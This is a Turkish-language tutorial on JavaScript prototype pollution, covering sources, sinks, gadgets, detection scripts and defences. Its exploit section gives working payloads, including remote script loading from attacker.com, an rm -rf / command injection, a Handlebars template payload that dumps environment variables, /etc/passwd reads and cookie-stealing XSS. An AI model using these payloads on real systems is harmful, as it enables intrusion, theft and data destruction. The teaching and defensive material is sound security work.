Prototype Pollution

JavaScript prototype zinciri: __proto__ kirliliğinden RCE'ye

__proto__[evilProperty] = payload
# Global prototype pollution

Prototype Pollution Nedir?

Prototype Pollution, saldırganların global obje prototype'larına keyfi özellikler (property) eklemelerini sağlayan bir JavaScript zafiyetidir. Bu özellikler daha sonra kullanıcı tanımlı objeler tarafından miras alınabilir ve güvenlik açıklarına yol açabilir.

Prototype Chain Nasıl Çalışır?
JavaScript'te her obje bir prototype'a sahiptir. Bir özellik objede bulunamadığında, JavaScript motoru bu özelliği prototype zincirinde arar. __proto__ özelliği bu zincire erişim sağlar ve kötüye kullanılabilir.
Prototype Pollution Saldırı Bileşenleri

1. Pollution Source: Prototype'ı kirletmeyi sağlayan input
2. Sink: Keyfi kod çalıştırmayı sağlayan JavaScript fonksiyonu
3. Gadget: Sink'e güvensiz şekilde geçirilen özellik

Saldırının Sonuçları:
  • Client-side: DOM XSS, Authentication bypass, Business logic manipulation
  • Server-side: Remote Code Execution (RCE), Privilege escalation, DoS
  • Framework/Library: Config manipulation, Template injection, Path traversal
Kritik Risk: Prototype pollution tek başına exploitable olmasa da, diğer zafiyetlerle chain edilerek ciddi güvenlik açıklarına (RCE dahil) yol açabilir.
// Comprehensive prototype pollution test suite
class PrototypePollutionTester {
    constructor() {
        this.testResults = [];
        this.originalState = this.capturePrototypeState();
    }
    
    capturePrototypeState() {
        return {
            objectKeys: Object.getOwnPropertyNames(Object.prototype),
            arrayKeys: Object.getOwnPropertyNames(Array.prototype)
        };
    }
    
    testURLPollution(url) {
        const testMarker = `polluted_${Date.now()}`;
        
        // Simulate URL parameter parsing
        const params = new URLSearchParams(url.split('?')[1] || '');
        const parsed = {};
        
        for (const [key, value] of params) {
            this.setNestedProperty(parsed, key, value);
        }
        
        // Check if pollution occurred
        const testObj = {};
        const polluted = testMarker in testObj;
        
        this.testResults.push({
            type: 'URL',
            polluted,
            payload: url,
            marker: testMarker
        });
        
        return polluted;
    }
    
    testJSONPollution(jsonString) {
        const testMarker = `json_polluted_${Date.now()}`;
        
        try {
            const parsed = JSON.parse(jsonString);
            
            // Simulate vulnerable merge
            const target = {};
            this.vulnerableMerge(target, parsed);
            
            // Check pollution
            const testObj = {};
            const polluted = testMarker in testObj;
            
            this.testResults.push({
                type: 'JSON',
                polluted,
                payload: jsonString,
                marker: testMarker
            });
            
            return polluted;
            
        } catch (e) {
            return false;
        }
    }
    
    setNestedProperty(obj, path, value) {
        const keys = path.split('[').map(k => k.replace(']', ''));
        let current = obj;
        
        for (let i = 0; i < keys.length - 1; i++) {
            if (!(keys[i] in current)) {
                current[keys[i]] = {};
            }
            current = current[keys[i]];
        }
        
        current[keys[keys.length - 1]] = value;
    }
    
    vulnerableMerge(target, source) {
        for (const key in source) {
            if (typeof source[key] === 'object' && source[key] !== null) {
                if (!(key in target)) {
                    target[key] = {};
                }
                this.vulnerableMerge(target[key], source[key]);
            } else {
                target[key] = source[key]; // Vulnerable line!
            }
        }
    }
    
    generatePayloads() {
        const timestamp = Date.now();
        
        return {
            urlPayloads: [
                `?__proto__[polluted_url]=${timestamp}`,
                `?__proto__[isAdmin]=true`,
                `?__proto__[transport_url]=//attacker.com`,
                `?constructor[prototype][polluted]=true`
            ],
            jsonPayloads: [
                `{"__proto__": {"polluted_json": "${timestamp}"}}`,
                `{"__proto__": {"isAdmin": true}}`,
                `{"constructor": {"prototype": {"polluted": true}}}`
            ]
        };
    }
    
    runFullTest() {
        const payloads = this.generatePayloads();
        
        console.group('🔍 Prototype Pollution Test Results');
        
        // Test URL payloads
        console.group('URL Payloads');
        payloads.urlPayloads.forEach(payload => {
            const result = this.testURLPollution(payload);
            console.log(`${result ? '✅ VULNERABLE' : '❌ SAFE'}: ${payload}`);
        });
        console.groupEnd();
        
        // Test JSON payloads
        console.group('JSON Payloads');
        payloads.jsonPayloads.forEach(payload => {
            const result = this.testJSONPollution(payload);
            console.log(`${result ? '✅ VULNERABLE' : '❌ SAFE'}: ${payload}`);
        });
        console.groupEnd();
        
        console.groupEnd();
        
        return this.testResults;
    }
    
    cleanup() {
        // Clean up polluted properties
        this.testResults.forEach(result => {
            if (result.polluted && result.marker) {
                try {
                    delete Object.prototype[result.marker];
                } catch (e) {
                    // Ignore cleanup errors
                }
            }
        });
    }
}

// Usage example
const tester = new PrototypePollutionTester();
const results = tester.runFullTest();
tester.cleanup();

// Real-world testing function
function testWebsiteForPollution(targetUrl) {
    const testPayloads = [
        '?__proto__[testPollution]=true',
        '#__proto__[testPollution]=true'
    ];
    
    testPayloads.forEach(async (payload) => {
        try {
            const response = await fetch(`${targetUrl}}${payload}`);
            
            // Check if pollution indicators exist in response
            const text = await response.text();
            
            if (text.includes('testPollution') || 
                text.includes('__proto__') ||
                text.includes('polluted')) {
                console.warn(`⚠️ Potential pollution: ${targetUrl}}${payload}`);
            }
        } catch (e) {
            console.error(`Error testing ${payload}:`, e);
        }
    });
}

JavaScript Prototypes ve Inheritance

JavaScript'te prototype-based inheritance sistemi kullanılır. Her obje, özelliklerini prototype zincirinden miras alır.

// Temel prototype chain örneği
let obj = {};
console.log(obj.toString); // function toString() { [native code] }
console.log(obj.__proto__ === Object.prototype); // true

// Prototype chain visualization
obj → Object.prototype → null

// Prototype pollution örneği
Object.prototype.polluted = "malicious_value";
let newObj = {};
console.log(newObj.polluted); // "malicious_value" - Kirlenme gerçekleşti!
function toString() { [native code] }
true
malicious_value

Prototype Inheritance Zinciri

// Prototype zinciri detaylı örnek
function User(name) {
    this.name = name;
}

User.prototype.greet = function() {
    return `Hello, ${this.name}!`;
};

let user1 = new User("Alice");
console.log(user1.greet()); // "Hello, Alice!"

// Prototype pollution attack
user1.__proto__.__proto__.isAdmin = true;

let user2 = new User("Bob");
console.log(user2.isAdmin); // true - Yetki yükselmesi!

// Tüm objeler etkilendi
let simpleObj = {};
console.log(simpleObj.isAdmin); // true
Tehlikeli __proto__ Kullanımı
__proto__ özelliği JavaScript'te özel bir anlama sahiptir. Doğrudan atama yapmak yerine, prototype chain'e erişim sağlar. Bu durum prototype pollution saldırılarının temel nedenidir.

Prototype Pollution Sources (Kirlenme Kaynakları)

Prototype pollution saldırıları için kullanıcı kontrollü input kaynakları gereklidir. En yaygın kaynaklar şunlardır:

URL ile Prototype Pollution

URL query string veya fragment (#) kısmı üzerinden prototype pollution gerçekleştirilebilir:

// Saldırı URL'si
https://vulnerable-site.com/?__proto__[evilProperty]=payload
https://vulnerable-site.com/?__proto__[isAdmin]=true
https://vulnerable-site.com/#__proto__[transport_url]=//attacker.com

// URL parsing sonucu
{
  "__proto__": {
    "evilProperty": "payload"
  }
}
// Vulnerable URL parsing function
function parseQuery(url) {
    const params = new URLSearchParams(url.split('?')[1]);
    const result = {};
    
    for (const [key, value] of params) {
        // Tehlikeli: __proto__ key kontrolü yok
        if (key.includes('[') && key.includes(']')) {
            const match = key.match(/^(.+)\[(.+)\]$/);
            if (match) {
                const [, objName, propName] = match;
                result[objName] = result[objName] || {};
                result[objName][propName] = value; // Pollution burada!
            }
        }
    }
    return result;
}

// Test
const polluted = parseQuery("?__proto__[isAdmin]=true");
const newObj = {};
console.log(newObj.isAdmin); // true - Pollution başarılı!

JSON ile Prototype Pollution

// Malicious JSON payload
{
  "__proto__": {
    "isAdmin": true,
    "role": "administrator",
    "transport_url": "//attacker.com"
  }
}
// JSON.parse() ile prototype pollution
const maliciousJson = '{"__proto__": {"isAdmin": true}}';
const parsed = JSON.parse(maliciousJson);

console.log(parsed.hasOwnProperty('__proto__')); // true

// Vulnerable merge function
function merge(target, source) {
    for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            target[key] = target[key] || {};
            merge(target[key], source[key]); // Recursive merge - Tehlikeli!
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Test pollution
const config = {};
merge(config, parsed);

const newObj = {};
console.log(newObj.isAdmin); // true - Global pollution!

Web Messages ile Pollution

// Web message ile prototype pollution
window.addEventListener('message', function(event) {
    const data = event.data;
    
    // Vulnerable: Direct merge without validation
    Object.assign(config, data); // Tehlikeli!
});

// Attacker iframe/popup code
const payload = {
    __proto__: {
        isAdmin: true,
        role: 'admin'
    }
};

parent.postMessage(payload, '*');

Prototype Pollution Sinks

Pollution sink, prototype pollution ile kontrol edilen özelliklerin güvenlik açığına dönüştüğü noktalardır.

DOM XSS Sinks

// innerHTML sink örneği
function displayMessage(config) {
    const template = config.template || '<p>Default message</p>';
    document.getElementById('content').innerHTML = template;
}

// Pollution attack
Object.prototype.template = '<img src=x onerror=alert("XSS")>';

const userConfig = {}; // Empty config object
displayMessage(userConfig); // XSS triggered!

// eval() sink örneği
function executeScript(options) {
    const script = options.script || 'console.log("safe")';
    eval(script); // Extremely dangerous!
}

// Pollution
Object.prototype.script = 'alert("RCE via eval")';
executeScript({}); // Code execution!

Server-side RCE Sinks

// Node.js child_process sink
const { spawn } = require('child_process');

function executeCommand(options) {
    const cmd = options.command || 'ls';
    const args = options.args || [];
    
    // Dangerous: Using polluted properties
    const child = spawn(cmd, args);
    return child;
}

// Pollution attack (via JSON input)
const maliciousInput = JSON.parse(`{
    "__proto__": {
        "command": "rm",
        "args": ["-rf", "/"]
    }
}`);

Object.assign({}, maliciousInput); // Pollution occurs

const userOptions = {}; // Empty object inherits polluted properties
executeCommand(userOptions); // RCE: rm -rf / executed!

// Template engine sink
const Handlebars = require('handlebars');

function renderTemplate(config) {
    const template = config.template || 'Hello {{name}}';
    const compiled = Handlebars.compile(template);
    return compiled(config.data || {});
}

// Server-side Template Injection via pollution
Object.prototype.template = '{{#with "s" as |string|}}\n{{#with "e"}}\n{{#with split as |conslist|}}\n{{this.pop}}\n{{this.push (lookup string.sub "constructor")}}\n{{this.pop}}\n{{#with string.split as |codelist|}}\n{{this.pop}}\n{{this.push "return JSON.stringify(process.env)"}}\n{{this.pop}}\n{{#each conslist}}\n{{#with (string.sub.apply 0 codelist)}}\n{{this}}\n{{/with}}\n{{/each}}\n{{/with}}\n{{/with}}\n{{/with}}\n{{/with}}';

renderTemplate({}); // Server-side code execution!

Prototype Pollution Gadgets

Gadget, prototype pollution zafiyetini gerçek bir exploit'e dönüştüren araçlardır. Bu, unsafe şekilde sink'lere geçirilen herhangi bir property'dir.

Configuration Object Gadgets

Config Gadget Örneği
Birçok JavaScript kütüphanesi, geliştiricilerin configuration objesi kullanmasına izin verir. Bu objeler gadget olarak kullanılabilir.
// Vulnerable library code
function loadScript(config) {
    // Default transport_url if not provided
    const transport_url = config.transport_url || defaults.transport_url;
    
    // Create script element
    const script = document.createElement('script');
    script.src = `${transport_url}/library.js`;
    document.body.appendChild(script);
}

// Normal usage
const userConfig = {}; // Developer didn't set transport_url
loadScript(userConfig); // Uses defaults.transport_url

// Attack scenario
// 1. Attacker pollutes prototype via URL:
// https://victim.com/?__proto__[transport_url]=//attacker.com

// 2. Pollution occurs during URL parsing
Object.prototype.transport_url = '//attacker.com';

// 3. Empty config object inherits polluted property
const attackerConfig = {};
console.log(attackerConfig.transport_url); // "//attacker.com"

// 4. Script loads from attacker's domain
loadScript(attackerConfig); // Loads //attacker.com/library.js

// Data URL for direct XSS
Object.prototype.transport_url = 'data:,alert(document.domain);//';
loadScript({}); // Executes alert() directly

Popular Library Gadgets

// jQuery gadget example
Object.prototype.url = 'javascript:alert("XSS")';
$.get({}); // Triggers XSS via inherited url property

// Lodash merge gadget
const _ = require('lodash');

const malicious = JSON.parse('{"__proto__": {"polluted": true}}');
const target = {};

_.merge(target, malicious); // Vulnerable merge

const newObj = {};
console.log(newObj.polluted); // true

// Express.js gadget (CVE-2022-24999)
const express = require('express');
const app = express();

// Pollution via request body
app.use(express.json());

app.post('/api', (req, res) => {
    // Vulnerable merge
    Object.assign({}, req.body);
    
    // Later usage inherits polluted properties
    const options = {};
    if (options.isAdmin) {
        // Admin functionality unlocked!
        return res.json({admin: true, secret: 'flag{prototype_pollution}'});
    }
    
    res.json({message: 'Regular user'});
});

// Attack payload:
// POST /api
// {"__proto__": {"isAdmin": true}}

Pratik Exploit Örnekleri

Client-side Exploits

// DOM XSS via prototype pollution
function renderUserProfile(user) {
    const template = user.template || '<div>Welcome {{name}}</div>';
    const rendered = template.replace('{{name}}', user.name);
    document.getElementById('profile').innerHTML = rendered;
}

// Attack URL:
// https://victim.com/?__proto__[template]=<img src=x onerror=alert(document.cookie)>

// Authentication bypass via pollution
function checkAuth(user) {
    if (user.role === 'admin' || user.isAdmin === true) {
        return true;
    }
    return false;
}

// Pollution attack
Object.prototype.isAdmin = true;

const regularUser = {name: 'john'}; // No admin privileges
console.log(checkAuth(regularUser)); // true - Bypass successful!

// Local storage pollution
function saveUserPrefs(prefs) {
    const theme = prefs.theme || 'light';
    const lang = prefs.language || 'en';
    
    localStorage.setItem('theme', theme);
    localStorage.setItem('language', lang);
    
    // Dangerous: eval usage
    if (prefs.customScript) {
        eval(prefs.customScript);
    }
}

// Attack
Object.prototype.customScript = 'fetch("/admin/users").then(r=>r.text()).then(alert)';
saveUserPrefs({}); // RCE via inherited property

Server-side Exploits

// Node.js RCE via child_process
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json());

app.post('/process', (req, res) => {
    // Vulnerable merge
    const options = {};
    Object.assign(options, req.body);
    
    // Command execution with polluted properties
    const cmd = options.command || 'echo "default"';
    
    exec(cmd, (error, stdout) => {
        if (error) {
            return res.status(500).json({error: error.message});
        }
        res.json({output: stdout});
    });
});

// Attack payload:
// POST /process
// {
//   "__proto__": {
//     "command": "cat /etc/passwd"
//   }
// }

// File system gadget
const fs = require('fs');

function readConfig(options) {
    const filename = options.configFile || './config.json';
    const encoding = options.encoding || 'utf8';
    
    // Path traversal via pollution
    return fs.readFileSync(filename, encoding);
}

// Pollution attack
Object.prototype.configFile = '../../../../etc/passwd';
Object.prototype.encoding = 'utf8';

console.log(readConfig({})); // Reads /etc/passwd

// DoS via pollution
function processArray(config) {
    const maxSize = config.maxSize || 1000;
    const array = new Array(maxSize);
    // Process array...
    return array;
}

// DoS attack
Object.prototype.maxSize = 999999999; // Huge array
processArray({}); // Memory exhaustion!

Tespit Yöntemleri

Manual Testing

// Browser Console'da prototype pollution testi
// 1. Test payload inject et
const testPayload = {
    __proto__: {
        testPollution: 'polluted_value'
    }
};

// 2. Payload'ı bir objeye merge et
Object.assign({}, testPayload);

// 3. Yeni bir obje oluştur ve pollution kontrol et
const testObj = {};
console.log(testObj.testPollution); // "polluted_value" ise vulnerable

// URL parameter ile test
// https://target.com/?__proto__[testProp]=testValue

// JSON input ile test
// POST body: {"__proto__": {"testProp": "testValue"}}

// Web message ile test
parent.postMessage({
    __proto__: {
        testProp: 'testValue'
    }
}, '*');

// Pollution verification script
function checkPollution() {
    const markers = [
        'testPollution',
        'polluted',
        '__polluted__',
        'prototype_test'
    ];
    
    const testObj = {};
    const results = {};
    
    for (const marker of markers) {
        if (testObj.hasOwnProperty(marker)) {
            results[marker] = 'DIRECT_PROPERTY';
        } else if (marker in testObj) {
            results[marker] = 'INHERITED_POLLUTED';
        } else {
            results[marker] = 'NOT_FOUND';
        }
    }
    
    return results;
}

console.log(checkPollution());

Automated Testing Tools

Prototype Pollution Araçları
PPScan: Otomatik prototype pollution scanner
Burp Suite: Prototype pollution extension'ları
ESLint: Static code analysis
Custom Scripts: Domain-specific test scriptleri
// Automated prototype pollution scanner
class PrototypePollutionScanner {
    constructor(baseUrl) {
        this.baseUrl = baseUrl;
        this.payloads = [
            {name: 'url_query', payload: '?__proto__[polluted]=true'},
            {name: 'url_fragment', payload: '#__proto__[polluted]=true'},
            {name: 'json_body', payload: {__proto__: {polluted: true}}},
            {name: 'form_data', payload: '__proto__[polluted]=true'}
        ];
    }
    
    async testEndpoint(endpoint, method = 'GET') {
        const results = [];
        
        for (const payload of this.payloads) {
            try {
                const response = await this.sendPayload(endpoint, payload, method);
                const vulnerable = this.detectPollution(response);
                
                if (vulnerable) {
                    results.push({
                        endpoint,
                        method,
                        payload: payload.name,
                        vulnerable: true
                    });
                }
            } catch (error) {
                console.error(`Error testing ${payload.name}:`, error);
            }
        }
        
        return results;
    }
    
    async sendPayload(endpoint, payload, method) {
        let url = `${this.baseUrl}}${endpoint}`;
        let options = {method};
        
        if (payload.name === 'url_query' || payload.name === 'url_fragment') {
            url += payload.payload;
        } else if (payload.name === 'json_body') {
            options.headers = {'Content-Type': 'application/json'};
            options.body = JSON.stringify(payload.payload);
        }
        
        const response = await fetch(url, options);
        return await response.text();
    }
    
    detectPollution(response) {
        // Look for pollution indicators in response
        const indicators = [
            'polluted',
            '__proto__',
            'prototype',
            'Object.prototype'
        ];
        
        return indicators.some(indicator => 
            response.toLowerCase().includes(indicator.toLowerCase())
        );
    }
}

// Usage
const scanner = new PrototypePollutionScanner('https://target.com');
scanner.testEndpoint('/api/config', 'POST').then(console.log);

Korunma Yöntemleri

Input Sanitization

// Güvenli merge function
function safeMerge(target, source) {
    const dangerousKeys = ['__proto__', 'constructor', 'prototype'];
    
    for (const key in source) {
        // Skip dangerous keys
        if (dangerousKeys.includes(key)) {
            console.warn(`Blocked dangerous key: ${key}`);
            continue;
        }
        
        if (typeof source[key] === 'object' && source[key] !== null) {
            target[key] = target[key] || {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    
    return target;
}

// Advanced key validation
function validateKey(key) {
    const dangerousPatterns = [
        /^__proto__$/,
        /^constructor$/,
        /^prototype$/,
        /\.__proto__$/,
        /\[(__proto__|constructor|prototype)\]/
    ];
    
    return !dangerousPatterns.some(pattern => pattern.test(key));
}

// Recursive object sanitizer
function sanitizeObject(obj, maxDepth = 10) {
    if (maxDepth <= 0 || typeof obj !== 'object' || obj === null) {
        return obj;
    }
    
    const sanitized = {};
    
    for (const key in obj) {
        if (obj.hasOwnProperty(key) && validateKey(key)) {
            const value = obj[key];
            
            if (typeof value === 'object') {
                sanitized[key] = sanitizeObject(value, maxDepth - 1);
            } else {
                sanitized[key] = value;
            }
        }
    }
    
    return sanitized;
}

Object.freeze() ve Object.seal()

// Global prototype'ı koru
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

// Test: Pollution artık çalışmayacak
try {
    Object.prototype.polluted = 'test';
} catch (e) {
    console.log('Pollution blocked!');
}

// Secure object creation
function createSecureObject(data = {}) {
    // Create object with null prototype
    const obj = Object.create(null);
    
    // Copy safe properties
    for (const key in data) {
        if (data.hasOwnProperty(key) && validateKey(key)) {
            obj[key] = data[key];
        }
    }
    
    // Freeze the object
    return Object.freeze(obj);
}

// Example usage
const secureConfig = createSecureObject({
    apiUrl: 'https://api.example.com',
    timeout: 5000
});

// Immutable configuration
class SecureConfig {
    constructor(initialConfig = {}) {
        const config = Object.create(null);
        
        // Copy validated properties
        for (const [key, value] of Object.entries(initialConfig)) {
            if (validateKey(key)) {
                config[key] = value;
            }
        }
        
        // Freeze and assign
        Object.assign(this, Object.freeze(config));
        Object.freeze(this);
    }
}

Map Alternatifi

// Map kullanarak prototype pollution'dan kaçın
class SafeStorage {
    constructor() {
        this.data = new Map();
    }
    
    set(key, value) {
        // Map doesn't use prototype chain
        this.data.set(key, value);
    }
    
    get(key, defaultValue = undefined) {
        return this.data.get(key) ?? defaultValue;
    }
    
    has(key) {
        return this.data.has(key);
    }
    
    merge(obj) {
        for (const [key, value] of Object.entries(obj)) {
            if (validateKey(key)) {
                this.set(key, value);
            }
        }
    }
}

// Usage
const safeConfig = new SafeStorage();
safeConfig.set('apiUrl', 'https://api.com');

// Pollution attempt fails
safeConfig.merge({__proto__: {polluted: true}});
console.log(safeConfig.get('polluted')); // undefined

// WeakMap for private data
const privateData = new WeakMap();

class SecureClass {
    constructor(config) {
        // Store sensitive data in WeakMap
        privateData.set(this, sanitizeObject(config));
    }
    
    getConfig(key) {
        const config = privateData.get(this);
        return config && config[key];
    }
}

JavaScript Örnekleri

Prototype pollution saldırılarını test etmek için aşağıdaki örnekleri kullanabilirsiniz.

// 1) Prototype pollution tespiti için küçük test kütüphanesi
function isPolluted(markerKey = '__pp_test__') {
    const obj = {};
    return markerKey in obj && !obj.hasOwnProperty(markerKey);
}

// 2) Güvenli birleştirme (tehlikeli anahtarları engeller)
function safeMerge(target, source) {
    const blocked = ['__proto__', 'prototype', 'constructor'];
    for (const key in source) {
        if (blocked.includes(key)) continue;
        const value = source[key];
        if (value && typeof value === 'object') {
            target[key] = target[key] && typeof target[key] === 'object' ? target[key] : {};
            safeMerge(target[key], value);
        } else {
            target[key] = value;
        }
    }
    return target;
}

// 3) Null-prototype obje ile güvenli yapı
function createNullProto() {
    return Object.create(null);
}

// 4) Hızlı demo
const suspicious = { __proto__: { isAdmin: true } };
const cfg = createNullProto();
safeMerge(cfg, suspicious);

console.log('Polluted?', isPolluted());
console.log('cfg.isAdmin', cfg.isAdmin); // undefined olmalı